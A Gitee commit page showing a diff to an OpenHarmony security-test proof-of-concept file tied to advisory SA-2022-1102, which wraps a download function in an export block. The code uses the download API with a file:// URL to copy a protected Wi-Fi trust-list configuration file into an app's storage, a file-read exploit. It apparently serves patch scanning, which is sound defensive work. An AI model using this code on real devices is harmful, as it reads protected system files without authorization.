未验证 提交 69937e0b 编写于 作者: B Brock_z 提交者: Gitee

rename demo/sectest/poc_patch_scan/2022-11/OpenHarmony-SA-2022-1102.ets.

Signed-off-by: NBrock_z <952058210@qq.com>
上级 c6b85938
......@@ -13,21 +13,23 @@
* limitations under the License.
*/
import request from "@ohos.request"
downloadFile(urlPath, out) {
    let downloadConfig = {
        url: urlPath, //敏感文件地址
        filePath: '/data/storage/el2/base/'+out //保存地址
    }
    let downloadTask;
   
    // Obtain the DownloadTask instance using a callback.
    request.download(downloadConfig).then((data) => {
        downloadTask = data;
        downloadTask.on('fail', (error) => {
            console.info("download fail error:" + JSON.stringify(error));
        });
    }).catch((err) => {
        console.error('Failed to request the download. Cause: ' + JSON.stringify(err));
    })
}
downloadFile('file:///data/misc/wifi/trust_list_polices.conf', 'trust_list_config.conf')
\ No newline at end of file
export default{
downloadFile(urlPath, out) {
    let downloadConfig = {
        url: urlPath, //敏感文件地址
        filePath: '/data/storage/el2/base/'+out //保存地址
    }
    let downloadTask;
   
    // Obtain the DownloadTask instance using a callback.
    request.download(downloadConfig).then((data) => {
        downloadTask = data;
        downloadTask.on('fail', (error) => {
            console.info("download fail error:" + JSON.stringify(error));
        });
    }).catch((err) => {
        console.error('Failed to request the download. Cause: ' + JSON.stringify(err));
    })
}
downloadFile('file:///data/misc/wifi/trust_list_polices.conf', 'trust_list_config.conf')
}
\ No newline at end of file
Markdown is supported
0% .
You are about to add 0 people to the discussion. Proceed with caution.
先完成此消息的编辑!
想要评论请 注册